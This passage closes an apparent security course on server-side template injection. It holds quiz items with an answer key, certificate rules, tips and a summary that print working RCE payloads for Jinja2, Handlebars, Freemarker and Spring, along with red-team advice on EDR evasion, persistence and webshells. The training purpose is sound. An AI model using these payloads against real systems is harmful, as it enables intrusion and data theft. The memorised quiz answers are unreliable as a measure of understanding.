A) Using template engines B) Concatenating user input into template source instead of passing it as a data value C) Missing CSRF tokens D) Weak passwords
- ●8. Which Jinja2 payload is a classic RCE chain?
A) `{{7*7}}` B) `{{config}}` C) `{{cycler.__init__.__globals__.os.popen('id').read()}}` D) `{{name}}`
- ●9. A Tornado payload returns HTTP 512. This means:
A) Command executed successfully B) The engine rejected the payload due to special-character parsing C) The server is down D) SSTI is impossible
- ●10. The BEST way to safely use user input with a template:
A) Concatenate into the template string B) `render_template_string("Hello {{name}}!", name=user_input)` with a static template C) Trust auto-escape alone D) Encode in base64
- ●11. Which template engine is logic-less by design?
A) Jinja2 B) Mustache C) ERB D) Freemarker
- ●12. A `{% debug %}` payload that dumps context is specific to:
A) Jinja2 B) Twig C) Django D) ERB
- ●13. The Freemarker payload `${"freemarker.template.utility.Execute"?new()("id")}` uses:
A) Java reflection through the Execute utility class B) JavaScript eval C) Bash shell D) SQL injection
- ●14. Which Handlebars payload achieves RCE through constructor access?
A) `{{this}}` B) `{{constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}` C) `{{name}}` D) `{{value}}`
- ●15. SSTI in ERB is dangerous because ERB allows:
A) Only math B) Only string concat C) Full Ruby including backticks for shell commands D) Only HTML rendering
- ●16. The researcher who named SSTI as a vulnerability class is:
A) Daniel Bernstein B) James Kettle (PortSwigger, 2015) C) Bruce Schneier D) Brian Krebs
- ●17. The VMware Workspace ONE SSTI CVE from 2022 is:
A) CVE-2021-44228 B) CVE-2022-22954 C) CVE-2017-5638 D) CVE-2020-1472
- ●18. Tornado refuses `>&` in a reverse-shell payload. The fix is:
A) Give up B) Write the shell command to a file first via echo + system(), URL-encode the whole payload C) Use SQL injection D) Use bigger numbers
- ●19. Sandboxed engines:
A) Are immune to SSTI B) Can still leak data and sometimes RCE; treat them as defense in depth, not primary C) Are unused in 2026 D) Reject all input
- ●20. `{{7*7}}` returning `49` proves:
A) Just math works B) Critical SSTI confirmed; escalate to RCE C) Server is broken D) Authentication failure
- ●21. Auto-escape protects against:
A) SSTI B) XSS C) SQLi D) CSRF
- ●22. When `.` and `_` are filtered, the Jinja2 bypass is:
A) Hex-encoded attribute access via `|attr('\x5f\x5fclass\x5f\x5f')` B) Base64 encoding only C) SQL injection D) SSTI is impossible
- ●23. Which tool auto-detects and exploits SSTI?
A) sqlmap B) Tplmap / SSTImap C) nikto D) hashcat
- ●24. A blind SSTI (no output visible) can be confirmed via:
A) Homepage visit B) DNS exfiltration, time-based delays, or out-of-band HTTP requests C) CSS animations D) Cookies
- ●25. `{{config}}` reveals `SECRET_KEY`. The right action is:
A) Report this as critical info disclosure B) Escalate further to RCE and chain both findings C) Ignore D) Encode the key in base64
- ●26. Which payload is for ERB?
A) `{{7*7}}` B) `<%= 7*7 %>` C) `${7*7}` D) `#{7*7}`
- ●27. Spring SpEL injection looks most like:
A) `${T(java.lang.Runtime).getRuntime().exec("id")}` B) `{{7*7}}` C) `<%= 7*7 %>` D) `@(7*7)`
- ●28. A custom exploit in PortSwigger's "SSTI with a custom exploit" lab abuses:
A) Application-specific methods exposed in the engine (e.g., setAvatar + gdprDelete) B) SQL injection C) CSRF D) Open redirect
- ●29. The MOST effective prevention strategy is:
A) WAF rules B) Never pass user input into a template-source position C) Disabling JavaScript D) Using HTTPS
- ●30. The MOST important takeaway about SSTI:
A) Templates are HTML escapers B) Templates are programs; user input must remain data, never become code C) SSTI only affects Python apps D) Auto-escape prevents SSTI
Answer key
- ●1.A 2.C 3.B 4.C 5.B 6.B 7.B 8.C 9.B 10.B
- ●11.B 12.C 13.A 14.B 15.C 16.B 17.B 18.B 19.B 20.B
- ●21.B 22.A 23.B 24.B 25.B 26.B 27.A 28.A 29.B 30.B
Scoring
- ●27 to 30: SSTI expert.
- ●24 to 26: solid.
- ●19 to 23: functional; re-read sections 11 and 16.
- ●Below 19: re-read sections 1 to 8 and retake.
SECTION 22. Certificate Requirements
- ●Read all 24 sections.
- ●Score 24/30 or higher on section 21.
- ●Complete all PortSwigger Web Security Academy SSTI labs (7 labs).
- ●Complete at least 10 of the 15 planned ANAS SSTI labs (once released).
- ●Demonstrate one end-to-end SSTI-to-RCE chain (Jinja2 cycler, Freemarker Execute, ERB backticks, or EJS require) against a controlled target you own.
- ●Document one finding in a 500+ word write-up with engine identification, payload, response, and the exact fix.
- ●Maintain a personal payload library of 25+ SSTI payloads organized by engine.
Ethical baseline
The techniques here are immediate RCE. Use them only on systems you own or have explicit written permission to test. Use benign payloads (`id`, `whoami`, `hostname`) first to confirm execution without damaging the system.
SECTION 23. Important Notes
Common beginner mistakes
- ●Testing only `{{7*7}}` and giving up. Always run the full fingerprint set.
- ●Confusing client-side template injection (AngularJS, Vue) with SSTI. CSTI is XSS-class, SSTI is RCE-class.
- ●Reporting `49` as critical without escalating.
- ●Forgetting that auto-escape protects against XSS, not SSTI.
- ●Trying raw payloads without URL-encoding when special characters break parsing.
Pentester tips
- ●Identify the engine before throwing RCE payloads. Wrong syntax wastes time and tips off WAFs.
- ●Read the engine's documentation; the juiciest exploits live in features developers never knew existed.
- ●Multi-step payloads (write file, then execute) survive parsers that reject `>&` and pipes.
- ●Always verify Tplmap/SSTImap findings manually.
Bug bounty tips
- ●SSTI typically pays $5,000 to $100,000 depending on target and impact.
- ●Demonstrate RCE, not just `49`. The multiplier is dramatic.
- ●Document engine-fingerprinting steps; triagers love clear progression.
- ●Marketing automation, CMS plugins, and internal admin tools are the highest-paying SSTI hunting grounds.
Red team notes
- ●SSTI on a public-facing app is one of the cleanest paths to initial access.
- ●No malware needed; the payload IS the exploit.
- ●Antivirus and EDR rarely flag template payloads in HTTP requests.
- ●Combine SSTI with cloud metadata SSRF for credentials and lateral movement.
- ●Persistence via SSTI-injected backdoor templates is silent and survives many restarts.
Defender tips
- ●Centralize template loading through a single safe function. Forbid `render_template_string` (and equivalents) with dynamic source.
- ●Use Semgrep rules to detect SSTI sinks in CI.
- ●Use CodeQL for deeper static analysis.
- ●Penetration-test every feature that personalizes content.
- ●Threat-model new features that allow user-defined templates.
Things to remember during exams
- ●CWE-1336 = SSTI.
- ●`{{7*7}}` is the universal canary.
- ●Jinja2 RCE chain: `cycler.__init__.__globals__.os.popen(...).read()`.
- ●Freemarker RCE: `freemarker.template.utility.Execute`.
- ●ERB is full Ruby. EJS is full Node. Razor is full .NET.
- ●Auto-escape != SSTI defense.
Frequently confused concepts
- ●SSTI vs CSTI: SSTI runs on the server (RCE). CSTI runs in the browser (XSS).
- ●SSTI vs XSS: XSS abuses HTML rendering. SSTI abuses template evaluation.
- ●SSTI vs SQLi: SQLi abuses database queries. SSTI abuses template engines.
- ●Sandboxed vs unsandboxed: a sandbox limits but rarely eliminates SSTI.
- ●Logic-less vs logic-full: Mustache is logic-less; Jinja2, Twig, Freemarker, ERB are logic-full and therefore RCE-class.
Interview tips
- ●Explain SSTI without using the word "template" first. Teach simply: a feature that personalizes content evaluates user input as code.
- ●Mention James Kettle's 2015 PortSwigger research as the foundational paper.
- ●Cite CVE-2022-22954 (VMware) and CVE-2022-26134 (Confluence) for real-world impact.
- ●Always finish with the defense: never concatenate user input into template source.
Key takeaways
- ●SSTI turns personalization features into RCE engines.
- ●The bug class is universal across every language.
- ●Detection is one probe: `{{7*7}}`.
- ●Escalation depends on the engine, but the principle is the same: walk the object graph to dangerous primitives.
- ●The fix is one architectural rule: user input is data, never template.
SECTION 24. Final Word from Your Instructor
You finished the SSTI course. You now know more about this bug class than most working backend developers, and enough to find it, exploit it responsibly, and fix it in any codebase.
Here is the short version.
SSTI works because a template is not a string; it is a small program. When a developer concatenates user input into a template string and hands the result to the engine's "render from string" function, every expression the user writes gets evaluated. In Jinja2 the path leads through `cycler.__init__.__globals__.os.popen`; in Freemarker through `freemarker.template.utility.Execute`; in ERB through Ruby backticks; in EJS through `require('child_process')`; in Razor through `System.Diagnostics.Process.Start`; in Spring through `T(java.lang.Runtime).getRuntime().exec`. Each engine has its own chain; the principle is identical.
The defense is one architectural rule. User input flows in as data through the engine's variable substitution. Templates are written by developers, stored in version control, and never assembled at runtime from user-controlled strings. If user-customized templates are unavoidable, choose a logic-less engine (Mustache, restricted Liquid), sandbox the engine as defense in depth, and run the render service in a container with no network and no secrets in environment variables.
On the offensive side, the workflow is short. Run the seven-probe fingerprint set. Identify the engine. Pull the canonical RCE chain. URL-encode aggressively when the payload contains `>&` or pipes. When the engine refuses raw special characters, write the command to a file and run it (the Tornado pattern). When output is not echoed back, exfiltrate over DNS or HTTP. When secrets are the goal, dump `{{config}}` or `{{settings.SECRET_KEY}}`. When persistence is the goal, drop a webshell through RCE.
The disclosed reports prove this is current. VMware Workspace ONE CVE-2022-22954 was mass-exploited as soon as it dropped. Confluence CVE-2022-26134 forced an emergency weekend patch from Atlassian. Uber's `rider.uber.com` Jinja2 SSTI is the canonical real-world example, with `{{ '7'*7 }}` returning `7777777` in the welcome email. Glovo, Unikrn, Internet Bug Bounty Ruby SSTI -- every year brings new disclosures and bigger payouts.
When you see an input field, ask where it ends up rendered. When you see `{{...}}` echoed back, ask whether it evaluated or just printed. When you see a CMS, a marketing tool, an internal admin panel, ask where they call `render`. If the answer takes you to a render call that concatenates user input, you have found a bug worth tens of thousands of dollars.
Stay curious. Stay ethical. Verify scope. Use benign payloads first. The template is the program; your job is to recognize who is writing it.
Go hunt.